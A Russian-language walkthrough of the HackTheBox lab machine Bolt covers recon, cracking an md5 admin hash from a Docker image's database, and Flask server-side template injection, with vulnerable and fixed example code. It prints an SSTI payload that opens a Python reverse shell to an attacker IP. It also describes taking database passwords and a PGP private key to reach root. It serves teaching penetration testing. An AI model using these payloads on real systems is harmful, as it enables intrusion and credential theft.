Тяжело в учении — легко в бою. Прохождение HTB Bolt

Тяжело в учении — легко в бою. Прохождение HTB Bolt

Тяжело в учении — легко в бою. Мы специально публикуем CTF, которые действительно актуальны на данный момент, чтобы ты, раздолбай, научился ломать ресурсы на тестовых машинах, чтобы потом не оплошать в реальных ситуациях. Ну, это почти как с девушками). И вот, как всегда — актуальная тема. Поехали?

В этой статье мы раз­берем среднюю по сложности машину из HTB — Bolt. На при­мере её про­хож­дения ты научишь­ся экс­плу­ати­ровать SSTI (Server Side Template Injection), брутить PGP ключи и md5 хэши.

Сканирование портов и получение скрытых доменов

IP машины — 10.10.11.114, сразу заносим его в /etc/hosts:

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. 

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap, который мы будем запускать с такими параметрами: 

-T4 — увеличит скорость сканирования, но при этом нас будет легче обнаружить, так что этот аргумент стоит использовать лишь при легальном пентесте; 

-p- — этот аргумент указывает на сканирование всех портов, при желании можно указать нужные вам через запятую, это также ускорит процесс; 

-A — позволяет обнаружить версию операционной системы и версии установленного ПО; 

-o — аргумент для экспорта результатов в файл. 

Паралельно с nmap запускаем Gobuster (по умолчанию в Kali отсутствует, установить можно с помощью команды: sudo apt-get install gobuster), чтобы получить  субдомены. Запускаем, используя команду: 

Gobuster нашёл два субдомена, которые мы добавляем в /etc/hosts: 

Извлечение паролей из архива

Перейдя на mail.bolt.htb мы видим форму авторизации, но паролей у нас пока нет поэтому пропускаем и идём дальше.

На судбомене demo.bolt.htb включена регистрация, но для этого нужно знать инвайт-код, которого у нас пока тоже нет. 

На основном домене есть страница, которая позволяет загружать образ докер контейнера и в нём наверняка есть что-то для нас, поэтому скачиваем и распаковываем:

Создаём папку и с помощью wget скачиваем туда архив, после чего распаковываем используя tar –xf image.tar: 

Внутри будет ещё несколько папок, внутри которые существуют архивы layer.tar, в одном из таких мы находим базу данных (db.sqlite3): 

Подключаемся к этой бд и получаем пароль администратора: 

С помощью hashcat и rockyou.txt брутим хеш: 

Узнать какой режим нужно использовать можно из этой таблицы (в нашем случае это 500): 

Используя логин admin и пароль deadbolt попадаем в панель на основном домене, но она не позволяет загружать файлы или редактировать шаблоны, а значит нужно искать дальше: 

Раскручиваем SSTI в RCE 

Помните про инвайт-код, который необходим для регистрации? Достать его можно всё в том же архиве, для этого используем команду grep –iR –A 2 «invite_code» 2>/dev/null:

Спустя какое-то время grep найдёт код, и мы увидим его в терминале. Теперь можем создать аккаунт на домене demo.bolt.htb (с этими же данными мы можем войти на домен mail.bolt.htb): 

В этой панели гараздо больше функционала, а внизу мы видим надпись AadminLTE Flask, это значит, что бэкэнд написан на Python и можно поискать известные уязвимости. Самой распространенной можно назвать SSTI (Server Side Template Injection), она заключается в том, как Flask обрабатывает html шаблоны. Если описывать без подробностей, то используя «{{ код Python }}» мы можем выполнять системные команды (модуль sysytem, subprocess и тд.). 

Если ввод пользователя никак не фильтруется, то он может отправить такой пейлоад и получить RCE: 

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }} 

Чтобы понять детальнее как и почему это происходит мы создадим простое приложение, которое будет отображать на странице ввод пользователя. 

Пример уязвимого кода:

from flask import Flask, render_template_string, request 
 
app = Flask(__name__) 
 
 
def create_html(user_name): 
    html = f»»» 
            <!DOCTYPE html> 
            <html lang=»en»> 
                <head> 
                    <meta charset=»utf-8″ /> 
                    <meta http-equiv=»X-UA-Compatible» content=»IE=edge» /> 
                    <meta name=»viewport» content=»width=device-width, initial-scale=1, shrink-to-fit=no» /> 
                    <title>Data Manager</title> 
                </head> 
                <body> 
                <p>Name: {user_name}</p> 
                </body> 
            </html> 
    «»» 
    return html 
 
 
@app.route(«/») 
def main(): 
    user_name = request.args.get(«name», default=None) 
    if user_name: 
        return render_template_string(create_html(user_name)) 
    else: 
        return «Enter name!» 
 
 
if __name__ == ‘__main__’: 
    app.run(debug=True, port=8080, use_reloader=False, host=»127.0.0.1″)

Перейдя по адресу localhost:8080/?name=Сybersec мы видим простую html страничку, на которой можно увидеть введенные данные: 

Но если мы вставим в параметр “{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }}”, то получим имя системного пользователя. Flask понимает, что код, находящийся в скобках {{  }} нужно выполнить и просто делает свою работу: 

Пример исправленного кода: 

from flask import Flask, render_template_string, request 
 
app = Flask(__name__) 
 
 
@app.route(«/») 
def main(): 
    user_name = request.args.get(«name», default=None) 
    if user_name: 
        return render_template_string(«»» 
            <!DOCTYPE html> 
            <html lang=»en»> 
                <head> 
                    <meta charset=»utf-8″ /> 
                    <meta http-equiv=»X-UA-Compatible» content=»IE=edge» /> 
                    <meta name=»viewport» content=»width=device-width, initial-scale=1, shrink-to-fit=no» /> 
                    <title>Data Manager</title> 
                </head> 
                <body> 
                <p>Name: {{ user_name }}</p> 
                </body> 
            </html> 
    «»», user_name=user_name) 
    else: 
        return «Enter name!» 
 
 
if __name__ == ‘__main__’: 
    app.run(debug=True, port=8080, use_reloader=False, host=»127.0.0.1″)

В репозитории PayloadsAllTheThings есть раздел с SSTI, в котором собраны уже готовые пэйлоады.

На странице profile, мы находим поле, куда можно инжектить код. Пока мы точно не знаем какое поле уязвимо, поэтому поменяем команды для каждого из них: 

После нажатия на submit, нас попросят подтвердить изменения через почту, для этого переходим на mail.bolt.htb и заходим со своими данными: 

В поле name я вставлял команду id и именно её нам отображает письмо на почте:

Мы также можем посмотреть версию операционной системы (uname): 

Reverse shell и повышение привелегий

Используя такой пейлоад мы получим реверс шелл (порт и айпи нужно поменять на ваши): 

{% for x in ().__class__.__base__.__subclasses__() %}{% if «warning» in x.__name__ %}{{x()._module.__builtins__[‘__import__’](‘os’).popen(«python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\»IP\»,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\»/bin/bash\»]);'»).read().zfill(417)}}{%endif%}{% endfor %} 

Если вы всё сделали правильно, то сразу же после подтверждения получите бэкконект:

С помощью команды python3 –c ‘import pty;pty.spawn(“/bin/bash”)’ или /bin/bash -i спавним интерактивный шелл: 

Используя find / -perm -g=w ! -path «/proc/*» ! -path «/sys/*» -group $(groups) -exec ls -lLd {} + мы находим список доступных для записи файлов, которые принадлежат нашей группе (www-data): 

В папке /etc/passbolt находим файл конфигурации с паролями к бд: 

Подключаемся к бд (mysql -D passboltdb -u passbolt -p) и получаем письмо, которое нужно будет расшифровать: 

Список доступных таблиц: 

Смотрим таблицу users, но паролей там не находим: 

Таблица secrets: 

Находим письмо, которое нужно расшифровать, но пока ключа у нас для этого нет, поэтому просто сохраняем себе: 

Флаг user.txt

На этом этапе я завис и долго думал, что делать дальше, но решение оказалось как всегда несколько неочевидным. Из /etc/passwd или из папки /home/ получаем пользователей и пробуем зайти, используя пароль для БД:

Мы также можем использовать ssh: 

Первый флаг: 

Получаем флаг root.txt 

Подключившись через ssh, мы надпись “You have mail”, поэтому проверяем файл /var/mail/eddie:

Пользователь Clark отправил Eddie письмо, в котором рассказал о сервере управления паролями и попросил его сделать резервную копию закрытого ключа. Если мы заглянем в файл журнала (strings «.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log»), то найдем этот ключ: 

Копируем ключ в файл и удаляем строки \r\n командой python3 –c ‘f=open(«pgp_private.txt», «r»).read();a=f.split(«\\\\r\\\\n»);b=open(«clear_key.txt», «w»).write(«\n».join(a))’:

Получаем хеш, который будем брутить используя JohnTheRipper:

Брутим хеш и получаем пароль из хеша:

Теперь импортируем приватный ключ: 

Расшифровываем письмо из БД и получаем пароль: 

Получаем рут: 

Отправляем найденные флаги и на этом прохождение Bolt заканчивается: 

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *